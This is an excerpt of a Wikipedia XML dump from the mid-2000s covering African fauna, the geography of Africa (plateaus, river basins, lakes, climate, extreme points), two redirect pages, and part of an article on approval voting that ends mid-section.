The fauna again shows the effect of the characteristics of the vegetation.  The open savannas are the home of large [[ungulate]]s, especially [[antelope]]s, the [[giraffe]] (peculiar to Africa), [[zebra]], [[Cape_buffalo|buffalo]], wild [[donkey|ass]] and four species of [[rhinoceros]]; and of carnivores, such as the [[lion]], [[leopard]], [[hyena]], etc. The [[okapi]] (a genus restricted to Africa) is found only in the dense forests of the [[Congo River|Congo]] basin. [[Bear]]s are confined to the Atlas region, [[wolf|wolves]] and [[fox]]es to North Africa. The [[elephant]] (though its range has become restricted through the attacks of hunters) is found both in the savannas and forest regions, the latter being otherwise poor in large game, though the special habitat of the [[chimpanzee]] and [[gorilla]]. [[Baboon]]s and [[mandrill]]s, with few exceptions, are peculiar to Africa. The single-humped [[camel]], as a domestic animal, is 
especially characteristic of the northern deserts and steppes. 

The rivers in the tropical zone abound with [[hippopotamus|hippopotami]] and [[crocodile]]s, the former entirely confined to Africa. The vast herds of game, formerly so characteristic of many parts of Africa, have much diminished with the increase of intercourse with the interior. Game reserves have, however, been established in [[South Africa]], [[British Central Africa]], [[British East Africa]], [[Somahland]], etc., while measures for the protection of wild animals were laid down in an international convention signed in May 1900. 

The [[ornithology]] of northern Africa presents a close resemblance to that of southern Europe, scarcely a species being found which does not also occur in the other countries bordering the Mediterranean. Among the birds most characteristic of Africa are the [[ostrich]] and the [[secretary-bird]]. The ostrich is widely dispersed, but is found chiefly in the [[desert]] and [[steppe]] regions. The secretary-bird is common in the south.  The [[weaver bird]]s and their allies, including the [[long-tailed whydah]]s, are abundant, as are, among game-birds, the [[francolin]] and [[guineafowl]]. Many of the smaller birds, such as the [[sunbird]]s, [[bee-eater]]s, the [[parrot]]s and [[kingfisher]]s, as well as the larger [[plantain-eater]]s, are noted for the brilliance of their plumage.  

Of [[reptile]]s the [[lizard]] and [[chameleon]] are common, and there are a number of venomous [[snake]]s, though these are not so numerous as in other tropical countries.  

The [[scorpion]] is abundant. Of [[insect]]s Africa has many thousand different kinds; of these the [[locust]] is the proverbial scourge of the continent, and the ravages of the [[termite]]s are almost incredible. The spread of [[malaria]] by means of [[mosquito]]es is common. The [[tsetse fly]], whose bite is fatal to all domestic animals, is common in many districts of South and East Africa. Fortunately it is found nowhere outside Africa. 


==References==
*{{1911}}

[[Category:Africa]]</text>
    </revision>
  </page>
  <page>
    <title>Geography of Africa</title>
    <id>1854</id>
    <revision>
      <id>38566653</id>
      <timestamp>2006-02-07T03:51:36Z</timestamp>
      <contributor>
        <username>Cdc</username>
        <id>132820</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/71.101.215.25|71.101.215.25]] ([[User talk:71.101.215.25|talk]]) to last version by LeonardoGregianin</comment>
      <text xml:space="preserve">[[Image:LocationAfrica.png|300px|right]]
{{commonscat|Maps of Africa}}
'''[[Africa]]''' is a [[continent]] comprised of 61 political territories (including 53 [[United Nations member states|countries]]), representing the largest of the three great southward projections from the main mass of [[Earth]]'s surface. It includes, within its remarkably regular outline, an area of 30,368,609 [[square kilometre|km&lt;sup&gt;2&lt;/sup&gt;]] (11,725,385 [[square mile|mi&lt;sup&gt;2&lt;/sup&gt;]]), including adjacent islands. 

Separated from [[Europe]] by the [[Mediterranean Sea]] and from much of [[Asia]] by the [[Red Sea]], Africa is joined to Asia at its northeast extremity by the Isthmus of Suez (which is transected by the [[Suez Canal]]), 130 km (80 miles) wide.  For [[geopolitical]] purposes, the [[Sinai Peninsula]] of [[Egypt]] – east of the Suez Canal – is often considered part of Africa.  From the most northerly point, Ras ben Sakka in [[Morocco]], a little west of [[Cape Blanc]], in 37°21′ N, to the most southerly point, [[Cape Agulhas]] in [[South Africa]], 34°51′15″ S, is a distance approximately of 8,000 km (5,000 miles); from [[Cape Verde]], 17°33′22″ W, the westernmost point, to Ras Hafun in [[Somalia]], 51°27′52″ E, the most easterly projection, is a distance (also approximately) of 7,400 km (4,600 miles).  The length of coast-line is 26,000 km (16,100 miles) and the absence of deep indentations of the shore is shown by the fact that Europe, which covers only [[1 E12 m²|9,700,000 km&lt;sup&gt;2&lt;/sup&gt;]] (3,760,000 square miles), has a coastline of 32,000 km (19,800 miles). 

The main structural lines of the continent show both the east-to-west direction characteristic, at least in the eastern hemisphere, of the more northern parts of the world, and the north-to-south direction seen in the southern peninsulas.  [[Africa]] is thus composed of two segments at right angles, the northern running from east to west, the southern from north to south, the subordinate lines corresponding in the main to these two directions.

=== Main Geographical Features ===
[[Image:Africa satellite plane.jpg|thumb|300px|]]

The average elevation of the continent approximates closely to 600 m (2,000 ft), which is roughly the elevation of both [[North America|North]] and [[South America]], but is considerably less than that of [[Asia]], 950 m (3,117 ft).  In contrast with the other continents it is marked by the comparatively small area both of very high and of very low ground, lands under 180 m (600 ft) occupying an unusually small part of the surface; while not only are the highest elevations inferior to those of Asia and South America, but the area of land over 3,000 m (10,000 ft) is also quite insignificant, being represented almost entirely by individual peaks and mountain ranges.  Moderately elevated tablelands are thus the characteristic feature of the continent, though the surface of these is broken by higher peaks and ridges. (So prevalent are these isolated peaks and 
ridges that a special term [Inselberg-landschaft] has been adopted in [[Germany]] to describe this kind of country, which is thought to be in great part the result of wind action.) 

As a general rule, the higher tablelands lie to the east and south, while a progressive diminution in altitude towards the west and north is observable.  Apart from the lowlands and the [[Atlas mountains|Atlas mountain]] range, the continent may be divided into two regions of higher and lower plateaus, the dividing line (somewhat concave to the north-west) running from the middle of the [[Red Sea]] to about 6 deg.  S. on the west coast.  

Africa can be divided into a number of geographic zones:
*The coast plains - often fringed seawards by mangrove swamps - never stretching far from the coast, except on the lower courses of streams.  Recent alluvial flats are found chiefly in the delta of the more important rivers.  Elsewhere the coast lowlands merely form the lowest steps of the system of terraces which constitutes the ascent to the inner plateaus. 
*The [[Atlas Mountains|Atlas range]], which, orographically, is distinct from the rest of the continent, being unconnected with any other area of high ground, and separated from the rest of the continent on the south by a depressed and desert area (the [[Sahara]]), in places below sea-level.

===Plateau region===
[[Image:topography of africa.jpg|thumb|320px|Topography of Africa]]
The high southern and eastern plateaus, rarely falling below 600 m (2000 ft), and having a mean elevation of about 1000 m (3500 ft).   The [[South African plateau]] as far as about 12° S, bounded east, west and south by bands of high ground which fall steeply to the coasts.  On this account South Africa has a general resemblance to an inverted saucer.  Due south the plateau rim is formed by three parallel steps with level ground between them.  The largest of these level areas, the [[Great Karoo]], is a dry, barren region, and a large tract of the plateau proper is of a still more arid character and is known as the [[Kalahari Desert]].

The South African plateau is connected towards the north-east with the [[East African plateau]], with probably a slightly greater average elevation, and marked by some distinct features.  It is formed by a widening out of the eastern axis of high ground, which becomes subdivided into a number of zones running north and south and consisting in turn of ranges, tablelands and depressions.  The most striking feature is the existence of two great lines of depression, due largely to the subsidence of whole segments of the earth's crust, the lowest parts of which are occupied by vast lakes.  Towards 
the south the two lines converge and give place to one great valley (occupied by [[Lake Nyasa]]), the southern part of which is less distinctly due to rifting and subsidence than the rest of the system.  

Farther north the western depression, known as the [[Great Rift Valley]] is occupied for more than half its length by water, forming the [[Great Lakes (Africa)|Great Lakes]] lakes of [[Lake Tanganyika|Tanganyika]], [[Lake Kivu|Kivu]], [[Lake Edward]] and [[Lake Albert, Africa|Lake Albert]], the first-named over 400 miles (600 km) long and the longest freshwater lake in the world.  Associated with these great valleys are a number of volcanic peaks, the greatest of which occur on a meridional line east of the eastern trough.  The eastern depression, known as the East African trough or rift-valley, contains much smaller lakes, many of them [[brackish water|brackish]] and without outlet, the only one comparable to those of the western trough being [[Lake Rudolf]] or Basso Norok.  

At no great distance east of this rift-valley are [[Mount Kilimanjaro]] - with its two peaks Kibo and Mawenzi, the former 5889 m (19,321 ft), and the culminating point of the whole continent - and [[Mount Kenya]], 5184 m (17,007 ft).  Hardly less important is the [[Ruwenzori Range]], over 5060 m (16,600 ft), which lies east of the western trough.  Other volcanic peaks rise from the floor of the valleys, some of the Kirunga (Mfumbiro) group, north of Lake Kivu, being still partially active.

The third division of the higher region of Africa is formed by the [[Ethiopian Highlands]], a rugged mass of mountains forming the largest continuous area of its altitude in the whole continent, little of its surface falling below 1500 m (5000 ft), while the summits reach heights of 4600 m to 4900 m (15,000 to 16,000 ft).  This block of country lies just west of the line of the great East African Trough, the northern continuation of which passes along its eastern escarpment as it runs up to join the Red Sea. There is, however, in the centre a circular basin occupied by [[Lake Tsana]].

Both in the east and west of the continent the bordering highlands are continued as strips of plateau parallel to the coast, the Ethiopian mountains being continued northwards along the Red Sea coast by a series of ridges reaching in places a height of 2000 m (7000 ft).  In the west the zone of high land is broader but somewhat lower.  The most mountainous districts lie inland from the head of the [[Gulf of Guinea]] (Adamawa, etc.), where heights of 1800 m to 2400 m (6000 to 8000 ft) are reached.  Exactly at the head of the gulf the great peak of the Cameroon, on a line of volcanic action continued 
by the islands to the south-west, has a height of 4075 m (13,370 ft), while Clarence Peak, in [[Fernando Po]], the first of the line of islands, rises to over 2700 m (9000 ft).  Towards the extreme west the Futa Jallon highlands form an important diverging point of rivers, but beyond this, as far as the Atlas chain, the elevated rim of the continent is almost wanting.

==Plains==
The area between the east and west coast highlands, which north of 17° N is mainly desert, is divided into separate basins by other bands of high ground, one of which runs nearly centrally through North Africa in a line corresponding roughly with the curved axis of the continent as a whole.  The best marked of the basins so formed (the [[Congo River|Congo]] basin) occupies a circular area bisected by the equator, once probably the site of an inland sea.  

Running along the south of desert is the plains region known as the [[Sahel]].

The arid region, the [[Sahara Desert|Sahara]] &amp;mdash; the largest desert in the world, covering 9,000,000 km&lt;sup&gt;2&lt;/sup&gt; (3,500,000 square miles) &amp;mdash; extends from the [[Atlantic Ocean|Atlantic]] to the Red Sea. Though generally of slight elevation it contains mountain ranges with peaks rising to 2400 m (8000 ft)  Bordered N.W. by the Atlas range, to the northeast a rocky plateau separates it from the [[Mediterranean]]; this plateau gives place at the extreme east to the delta of the Nile.  That river (see below) pierces the desert without modifying its character.  The [[Atlas Mountains|Atlas range]], the north-westerly part of the continent, between its seaward and landward heights encloses elevated steppes in places 160 km (100 miles) broad.  From the inner slopes of the plateau numerous wadis take a direction towards the Sahara.  The greater part of that now desert region is, indeed, furrowed by old water-channels. 

The following table gives the approximate altitudes of the chief mountains and lakes of the continent:
{| border=&quot;0&quot;
|-
| style=&quot;vertical-align: top&quot; |
{| border=&quot;1&quot;
|-
! Mountain
! ft
! m
|-
| [[Mount Rungwe]] (Nyasa) || style=&quot;text-align: right&quot; | 10,400
| style=&quot;text-align: right&quot; |3170
|-
| [[Drakensberg]] || style=&quot;text-align: right&quot; | 10,700
| style=&quot;text-align: right&quot; |3261
|-
| [[Mount Lereko|Lereko]] or [[Sattima]] (Aberdare Range)
| style=&quot;text-align: right&quot; | 13,214
| style=&quot;text-align: right&quot; |4028
|-
| [[Mount Cameroon|Cameroon]] || style=&quot;text-align: right&quot; | 13,370
| style=&quot;text-align: right&quot; |4075
|-
| [[Mount Elgon|Elgon]] || style=&quot;text-align: right&quot; | 14,152
| style=&quot;text-align: right&quot; |4314
|-
| [[Mount Karisimbi|Karisimbi]] (Mfumbiro)
| style=&quot;text-align: right&quot; | 14,683
| style=&quot;text-align: right&quot; | 4475
|-
| [[Mount Meru (Tanzania)|Meru]] || style=&quot;text-align: right&quot; | 14,955
| style=&quot;text-align: right&quot; |4558
|-
| [[Mount Taggharat|Taggharat]] (Atlas)
| style=&quot;text-align: right&quot; | 15,000
| style=&quot;text-align: right&quot; |4572
|-
| [[Simen Mountains|Simens]], [[Ethiopia]]
| style=&quot;text-align: right&quot; | 15,160
| style=&quot;text-align: right&quot; | 4621
|-
| [[Ruwenzori]] || style=&quot;text-align: right&quot; | 16,619
| style=&quot;text-align: right&quot; | 5065
|-
| [[Mount Kenya|Kenya]] || style=&quot;text-align: right&quot; | 17,007
| style=&quot;text-align: right&quot; | 5184
|-
| [[Mount Kilimanjaro|Kilimanjaro]] || style=&quot;text-align: right&quot; | 19,321
| style=&quot;text-align: right&quot; | 5889
|}
| style=&quot;vertical-align: top&quot; |
{| border=&quot;1&quot;
|-
! Lake
! ft
! m
|-
| [[Lake Chad|Chad]] || style=&quot;text-align: right&quot; | 850
| style=&quot;text-align: right&quot; | 259
|-
| [[Lake Mai-Ndombe|Mai-Ndombe]] || style=&quot;text-align: right&quot; | 1100
| style=&quot;text-align: right&quot; | 335
|-
| [[Lake Rudolf|Rudolf]] || style=&quot;text-align: right&quot; | 1250
| style=&quot;text-align: right&quot; | 381
|-
| [[Lake Nyasa|Nyasa]] || style=&quot;text-align: right&quot; | 1645
| style=&quot;text-align: right&quot; | 501
|-
| [[Lake Albert|Albert]] || style=&quot;text-align: right&quot; | 2028
| style=&quot;text-align: right&quot; | 618
|-
| [[Lake Tanganyika|Tanganyika]] || style=&quot;text-align: right&quot; | 2624
| style=&quot;text-align: right&quot; | 800
|-
| [[Lake Ngami|Ngami]] || style=&quot;text-align: right&quot; | 2950
| style=&quot;text-align: right&quot; | 899
|-
| [[Lake Mweru|Mweru]] || style=&quot;text-align: right&quot; | 3000
| style=&quot;text-align: right&quot; | 914
|-
| [[Lake Edward|Edward]] || style=&quot;text-align: right&quot; | 3004
| style=&quot;text-align: right&quot; | 916
|-
| [[Lake Bangweulu|Bangweulu]] || style=&quot;text-align: right&quot; | 3700
| style=&quot;text-align: right&quot; | 1128
|-
| [[Lake Victoria|Victoria]] || style=&quot;text-align: right&quot; | 3720
| style=&quot;text-align: right&quot; | 1134
|-
| [[Lake Abaya|Abaya]] || style=&quot;text-align: right&quot; | 4200
| style=&quot;text-align: right&quot; | 1280
|-
| [[Lake Kivu|Kivu]] || style=&quot;text-align: right&quot; | 4829
| style=&quot;text-align: right&quot; | 1472
|-
| [[Lake Tsana|Tsana]] || style=&quot;text-align: right&quot; | 5690
| style=&quot;text-align: right&quot; | 1734
|-
| [[Lake Naivasha|Naivasha]] || style=&quot;text-align: right&quot; | 6135
| style=&quot;text-align: right&quot; | 1870
|}
|}

=== National Parks and Game Reserves ===

* [[List of National Parks in Africa]]

=== The Hydrographic Systems ===

From the outer margin of the African plateaus a large number of streams run to the sea with comparatively short courses, while the larger rivers flow for long distances on the interior highlands before breaking through the outer ranges.  The main drainage of the continent is to the north and west, or towards the basin of the [[Atlantic Ocean]].  

The high lake plateau of East Africa contains the head-waters of the [[Nile]] and [[Congo River|Congo]]: the former the longest, the latter the largest river of the continent.  The upper Nile receives its chief supplies from the mountainous region adjoining the Central African trough in the neighbourhood of the equator.  Thence streams pour east to [[Lake Victoria]], the largest African lake (covering over 26,000 square m.), and west and north to [[Lake Edward]] and [[Lake Albert]], to the latter of which the effluents of the other two lakes add their waters.  Issuing from it the Nile flows north, and between 7 deg.  and 10 deg.  N. traverses a vast marshy level during which its course is liable to blocking by floating vegetation.  After receiving the Bahr-el-Ghazal from the west and the [[Sobat River|Sobat]], [[Blue Nile]] and [[Atbarah River|Atbara]] from the Ethiopian highlands (the chief gathering ground of the flood-water), it crosses the great desert and enters the Mediterranean by a vast delta.  

The most remote head-stream of the Congo is the [[Chambezi River|Chambezi]], which flows south-west into the marshy [[Lake Bangweulu]].  From this lake issues the Congo, known in its upper course by various names.  Flowing first south, it afterwards turns north through [[Lake Mweru]] and descends to the forest-clad basin of west equatorial Africa.  Traversing this in a majestic northward curve and receiving vast supplies of water from many great tributaries, it finally turns south-west and cuts a way to the Atlantic Ocean through the western highlands.  

North of the Congo basin and separated from it by a broad undulation of the surface is the basin of [[Lake Chad]] - a flat-shored, shallow lake filled principally by the Shad coming from the south-east.  West of this is the basin of the [[Niger River|Niger]], the third river of Africa, which, though flowing to the Atlantic, has its principal source in the far west, and reverses the direction of flow exhibited by the Nile and Congo.  An important branch, however - the [[Benue River|Benue]] - comes from the south-east.  These four river-basins occupy the greater part of the lower plateaus of North and West Africa, the remainder consisting of arid regions watered only by intermittent streams which do not reach the sea.

Of the remaining rivers of the Atlantic basin the [[Orange River|Orange]], in the extreme south, brings the drainage from the [[Drakensberg]] on the opposite side of the 
continent, while the Kunene, Kwanza, Ogowe and Sanaga drain the west corst highlands of the southern limb; the [[Volta]], Komoe, Bandama, [[Gambia River|Gambia]] and [[Senegal River|Senegal]] the highlands of the western limb.  North of the Senegal for over 1000 miles (1600 km) of coast the arid region reaches to the Atlantic.  Farther north are the 
streams, with comparatively short courses, which reach the Atlantic and Mediterranean from the Atlas mountains. 

Of the rivers flowing to the [[Indian Ocean]] the only one draining any large part of the interior plateaus is the [[Zambezi]], whose western branches rise in the west coast highlands.  The main stream has its rise in 11°21′3″ S 24°22′ E at an elevation of 5000 ft.  It flows west and south for a considerable distance before turning to the east.  All the largest tributaries, including the Shire, the outflow of [[Lake Nyasa]], flow down the southern slopes of the band of high ground which stretches across the conbnent in 10 deg.  to 12 deg.  S. In the south-west the Zambezi system interlaces with that of the [[Taukhe River|Taukhe]] (or Tioghe), from which it at times receives surplus water.  The rest of the water of the Taukhe, known in its middle course as the [[Okavango River|Okavango]], is lost in a system of swamps and saltpans which formerly centred in [[Lake Ngami]], now dried up.  

Farther south the [[Limpopo River|Limpopo]] drains a portion of the interior plateau but breaks through the bounding highlands on the side of the continent nearest its source.  The [[Rovuma River|Rovuma]], [[Rufiji River|Rufiji]], [[Tana River|Tana]], [[Jubba River|Jubba]] and [[Webi Shebeli River|Webi Shebeli]] principally drain the outer slopes of the East African highlands, the last named losing itself in the sands in close proximity to the sea.  Another large stream, the [[Hawash river|Hawash]], rising in the Ethiopian mountains, is lost in a saline depression near the Gulf of Aden.  

Lastly, between the basins of the Atlantic and Indian Oceans there is an area of inland drainage along the centre of the East African plateau, directed chiefly into the lakes in the great rift-valley.  The largest river is the [[Omo river|Omo]], which, fed by the rains of the Ethiopian highlands, carries down a large body of water into [[Lake Rudolf]].  The rivers of Africa are generally obstructed either by bars at their mouths or by cataracts at no great distance up-stream.  But when these obstacles have been overcome the rivers and lakes afford a network of navigable waters of vast extent. 

The calculation of the areas of African drainage systems, made by Dr A. Bludau (Petermanns Mitteilungen, 43, 1897, pp. 184-186) gives the following general results:
{| border=&quot;1&quot;
|-
!    ||mi² || Mm²
|-
| Basin of the Atlantic || 4,070,000 || 10.541
|-
| Basin of the Mediterranean || 1,680,000 || 4.351
|-
| Basin of the Indian Ocean || 2,086,000 || 5.403
|-
| Inland drainage area || 3,452,000 || 8.941
|}

The areas of individual river-basins are:
{| border=&quot;1&quot;
|-
!  || mi² || Mm²
|-
| Congo, length over 3000 mi (4800 km) || 1,425,000 || 3.691
|-
| Nile, length fully 4000 mi (6500 km) || 1,082,000 || 2.802
|-
| Niger, length about 2600 mi (4200 km) || 808,000 || 2.093
|-
| Zambezi, length about 2000 mi (3200 km) || 513,500 || 1.330
|-
| Lake Chad || 394,000 || 1.020
|-
| Orange, length about 1300 mi (2100 km) || 370,505 || 0.9596
|-
| Orange (actual drainage area) || 172,500 || 0.447
|}

The area of the Congo basin is greater than that of any other river except the Amazon, while the African inland drainage area is greater than that of any continent but Asia, in which the corresponding area is 4,000,000 square miles (10 Mm²).

The principal African lakes have been mentioned in the description of the East African plateau, but some of the phenomena connected with them may be spoken of more particularly here.  As a rule the lakes which occupy portions of the great rift-valleys have steep sides and are very deep.  This is the case with the two largest of the type, Tanganyika and Nyasa, the latter of which has depths of 430 [[fathom]]s (790 m).  

Others, however, are shallow, and hardly, reach the steep sides of the valleys in the dry season.  Such are [[Lake Rukwa]], in a subsidiary depression north of Nyasa, and Eiassi and Manyara in the system of the eastern rift-valley.  Lakes of the broad type are of moderate depth, the deepest sounding in [[Lake Victoria]] being under 50 fathoms (90 m).  

Besides the East African lakes the principal are: - [[Lake Chad]], in the northern area of inland drainage; [[Lake Bangweulu|Bangweulu]] and [[Lake Mweru|Mweru]], traversed by the head-stream of the Congo; and [[Lake Mai-Ndombe]] and Ntomba (Mantumba), within the great bend of that river.  All, except possibly Mweru, are more or less shallow, and Chad appears to by drying up.  The altitudes of the African lakes have already been stated. 

Divergent opinions have been beld as to the mode of origin of the East African lakes, especially [[Lake Tanganyika|Tanganyika]], which some geologists have considered to represent an old arm of the sea, dating from a time when the whole central Congo basin was under water; others holding that the lake water has 
accumulated in a depression caused by subsidence.  The former view is based on the existence in the lake of organisms of a decidedly marine type.  They include a jelly-fish, molluscs, prawns, crabs, etc.

=== Islands ===

With one exception - [[Madagascar]] - the African islands are small.  Madagascar, with an area of 229,820 square miles (595,230 km²), is, after [[Greenland]], [[New Guinea]] and [[Borneo]], the largest island of the world. It lies off the S.E. coast of the continent, from which it is separated by the deep Mozambique channel, 250 miles (400 km) wide at its narrowest point.  Madagascar in its general structure, as in flora and fauna, forms a connecting link between Africa and southern Asia.  East of Madagascar are the small islands of [[Mauritius]] and [[Réunion]].  [[Socotra]] lies E.N.E. of Cape Guardafui.  Off the north-west coast are the [[Canary Islands|Canary]] and [[Cape Verde]] archipelagoes. which, like some small islands in the Gulf of Guinea, are of volcanic origin.

=== Climate and health ===

Lying almost entirely within the tropics, and equally to north and south of the equator, Africa does not show excessive variations of temperature.  

Great heat is experienced in the lower plains and desert regions of North Africa, removed by the great width of the continent from the influence of the ocean, and here, too, the contrast between day and night, and between summer and winter, is greatest. (The rarity of the air and the great radiation during the night cause the temperature in the Sahara to fall occasionally to freezing point.) 

Farther south, the heat is to some extent modified by the moisture brought from the ocean, and by the greater elevation of a large part of the surface, especially in East Africa, where the range of temperature is wider than in the Congo basin or on the Guinea coast.  

In the extreme north and south the climate is a warm temperate one, the northern countries being on the whole hotter and drier than those in the southern zone; the south of the continent being narrower than the north, the influence of the surrounding ocean is more felt.  

The most important climatic differences are due to variations in the amount of 
rainfall.  The wide heated plains of the Sahara, and in a lesser degree the corresponding zone of the Kalahari in the south, have an exceedingly scanty rainfall, the winds which blow over them from the ocean losing part of their moisture as they pass over the outer highlands, and becoming constantly drier owing to the heating effects of the burning soil of the interior; while the scarcity of mountain ranges in the more central parts likewise tends to prevent condensation.  In the inter-tropical zone of summer precipitation, the rainfall is greatest when the sun is vertical or soon after.  It is therefore greatest of all near the equator, where the sun is twice vertical, and less in the direction of both tropics.  

The rainfall zones are, however, somewhat deflected from a due west-to-east direction, the drier northern conditions extending southwards along the east coast, and those of the south northwards along the west.  Within the equatorial zone certain areas, especially on the shores of the Gulf of Guinea and in the upper Nile basin, have an intensified rainfall, but this rarely approaches that of the rainiest regions of the world.  The rainiest district in all Africa is a strip of coastland west of [[Mount Cameroon]], where there is a mean annual rainfall of about 390 in (9.91 m) as compared with a mean of 458 in (11.63 m) at [[Cherrapunji]], in [[Meghalaya]], [[India]]. 

The two distinct rainy seasons of the equatorial zone, where the sun is vertical at half-yearly intervals, become gradually merged into one in the direction of the tropics, where the sun is overhead but once.  Snow falls on all the higher mountain ranges, and on the highest the climate is thoroughly Alpine.  

The countries bordering the Sahara are much exposed to a very dry wind, full 
of fine particles of sand, blowing from the desert towards the sea.  Known in [[Egypt]] as the [[khamsin]], on the Mediterranean as the [[sirocco]], it is called on the Guinea coast the [[harmattan]].  This wind is not invariably hot; its great dryness causes so much evaporation that cold is not infrequently the result.  Similar dry winds blow from the [[Kalahari Desert]] in the south.  On the eastern coast the monsoons of the Indian Ocean are regularly felt, and on the southeast hurricanes are occasionally experienced.

==Extreme points==
This is a list of the '''extreme points of [[Africa]]''', the points that are farther north, south, east or west than any other location on the continent.

'''''Africa'''''

* Northernmost Point &amp;mdash; [[Ra's al Abyad]] ([[Cape Blanc]]), [[Tunisia]]
* Southernmost Point &amp;mdash; [[Cape Agulhas]], [[South Africa]] (34°51'15&quot;S) ¹
* Westernmost Point &amp;mdash; [[Santo Antão]], [[Cape Verde]] Islands (25°25'W)
* Easternmost Point &amp;mdash; [[Rodrigues (island)|Rodrigues]], [[Mauritius]] (63°30'E)

'''''Africa (mainland)'''''

* Northernmost Point &amp;mdash; [[Ra's al Abyad]] ([[Cape Blanc]]), [[Tunisia]]
* Southernmost Point &amp;mdash; [[Cape Agulhas]], [[South Africa]] ({{coor dms|34|51|15|S|17|33|22|E|}})
* Westernmost Point &amp;mdash; [[Pointe des Almadies]], [[Cap Vert]] Peninsula, [[Senegal]] (17°33'22&quot;W)
* Easternmost Point &amp;mdash; [[Ras Hafun]] (Raas Xaafuun), [[Somalia]] (51°27'52&quot;E)

*¹ If the [[Prince Edward Islands]] are included in Africa, then [[Marion Island]] is the southernmost point at 46°54'S.


-----
{{1911}}

==See also==
===Articles===
*[[Africa]]
===External links===
*[http://plasma.nationalgeographic.com/ngm/0509/feature1/zoomify/index.html Africa: The Human Footprint]. Interactive map of human impact on Africa by [[National Geographic]].

{{Africafooter}}
{{Africa in topic|Geography of}}

[[Category:Africa]]

[[fr:Géographie de l'Afrique]]
[[he:גאוגרפיה של אפריקה]]
[[pl:Geografia Afryki]]
[[pt:Geografia da África]]
[[sr:Географија Африке]]</text>
    </revision>
  </page>
  <page>
    <title>Africa/History</title>
    <id>1855</id>
    <revision>
      <id>15900317</id>
      <timestamp>2003-10-30T12:13:29Z</timestamp>
      <contributor>
        <username>Andre Engels</username>
        <id>300</id>
      </contributor>
      <minor />
      <comment>removing 'see also' from redirect page</comment>
      <text xml:space="preserve">#REDIRECT [[History of Africa]]</text>
    </revision>
  </page>
  <page>
    <title>Africa/North Africa</title>
    <id>1856</id>
    <revision>
      <id>15900318</id>
      <timestamp>2003-10-30T12:13:44Z</timestamp>
      <contributor>
        <username>Andre Engels</username>
        <id>300</id>
      </contributor>
      <minor />
      <comment>removing 'see also' from redirect page</comment>
      <text xml:space="preserve">#REDIRECT [[North Africa]]</text>
    </revision>
  </page>
  <page>
    <title>Approval voting</title>
    <id>1857</id>
    <revision>
      <id>40976664</id>
      <timestamp>2006-02-24T06:02:33Z</timestamp>
      <contributor>
        <username>Commadot</username>
        <id>951397</id>
      </contributor>
      <comment>/* Effect on elections */ balanced fallacious spin against AV by conflicting interests</comment>
      <text xml:space="preserve">[[Image:Approval ballot.svg|thumb|right|On an approval ballot, the voter can vote for any number of candidates.]]
'''Approval voting''' is a [[voting system]] used for [[election]]s, in which each voter can vote for as many or as few candidates as the voter chooses. It is typically used for single-winner elections, but can be extended to multiple winners. (However, multi-winner Approval voting does not return [[proportional representation|proportional]] results.) Approval voting is a limited form of [[range voting]], where the range that voters are allowed to express is extremely constrained: accept or not. 

It was advocated in 1968 and 1977 by [[Guy Ottewell]].  The term &quot;Approval voting&quot; was first coined by [[Robert J. Weber]] in 1976, but was fully devised in 1977 and published in 1978 by political scientist [[Steven Brams]] and mathematician [[Peter Fishburn]].  Historically, something resembling
Approval voting for candidates was used in the [[Republic of Venice]] during the 13th century and for elections in 19th century [[England]].  Also the UN uses a process similar to Approval Voting to elect the Secretary General.

==Procedures==
Each voter may vote for as many options as he or she chooses, at most once per option.  This is equivalent to saying that each voter may &quot;approve&quot; or &quot;disapprove&quot; each option by voting or not voting for it, and it's also equivalent to voting +1 or 0 in a range voting system.

The votes for each option are tallied.  The option with the most votes wins.

==Example==
{{Tenn_voting_example}}

Supposing that voters voted for their two favorite candidates, the results would be as follows (a more sophisticated approach to voting is discussed below):

*Memphis: 42 total votes
*Nashville: 68 total votes (wins)
*Chattanooga: 58 total votes
*Knoxville: 32 total votes

===Potential for tactical voting===
Approval voting passes the [[monotonicity criterion]], in that voting for a candidate never lowers that candidate's chance of winning.  Indeed, there is never a reason for a voter to [[tactical voting|tactically vote]] for a candidate X without voting for all candidates he or she prefers to candidate X. It is also never necessary for a voter to vote for a candidate liked ''less'' than X in order to elect X.

However, as approval voting does not offer a single method of expressing sincere preferences, but rather a plethora of them, voters are encouraged to analyze their fellow voters' preferences and use that information to decide which candidates to vote for. This feature of approval voting makes it difficult for theoreticians to predict how approval will play out in practice.

One possible tactic is that a voter will only approve of their first preference candidate; this will make it more difficult for other candidates to win. If every voter uses this tactic, then the election essentially turns into a [[first-past-the-post]] election, where the candidate with the largest plurality of first preference supporters wins.

One good tactic is to vote for every candidate the voter prefers to the leading candidate, and to also vote for the leading candidate if that candidate is preferred to the current second-place candidate.  When all voters use this tactic, there is a good chance that the [[Condorcet method|Condorcet winner]] will be elected. Approval voting fails to satisfy the [[Condorcet criterion]]. It is even possible that a Condorcet loser can be elected.

In the above election, if Chattanooga is perceived as the strongest challenger to Nashville, voters from Nashville will only vote for Nashville, because it is the leading candidate and they prefer no alternative to it.  Voters from Chattanooga and Knoxville will withdraw their support from Nashville, the leading candidate, because they do not support it over Chattanooga.  The new results would be:
*Memphis: 42
*Nashville: 68
*Chattanooga: 32
*Knoxville: 32

If, however, Memphis were perceived as the strongest challenger, voters from Memphis would withdraw their votes from Nashville, whereas voters from Chattanooga and Knoxville would support Nashville over Memphis.  The results would then be:
*Memphis: 42
*Nashville: 58
*Chattanooga: 32
*Knoxville: 32

The mathematics of approval voting lend it to some manipulation and tactical voting.  As each vote counts as one vote and the winner is the one with the highest total, each vote equally helps the candidate/issue (city in this example) selected win.  Because of this, voters are more likely to only vote for their favorite.  Because Approval voting has not been used much for real elections, this phenomenon is not well documented.

==Effect on elections==
The effect of this system as an [[electoral reform]] measure is not without critics.  [[Instant-runoff voting]] advocates like the [[Center for Voting and Democracy]] argue that Approval Voting would lead to the election of &quot;lowest common denominator&quot; candidates disliked by few, and liked by few, but this could also be seen as an inherent strength against demagoguery in favor of a discreet popularity.  A study by Approval advocates [[Steven Brams]] and [[Dudley R. Herschbach]] published in ''[[Science (journal)|Science]]'' in 2001&lt;ref&gt;Brams and Herschbach {{Journal reference|Title=The Science of Elections|ID={{DOI|10.1126/science.292.5521.1449}}|Journal=Science|Volume=292|Issue=5521|Pages=1449|Year=2001}}&lt;/ref&gt; argued that approval voting was &quot;fairer&quot; than [[Preferential voting|preference voting]] on a number of criteria.  They claimed that a close analysis shows that the hesitation to support a lesser evil candidate to the same degree as one supports one's first choice actually outweighs the extra votes that such second choices get.

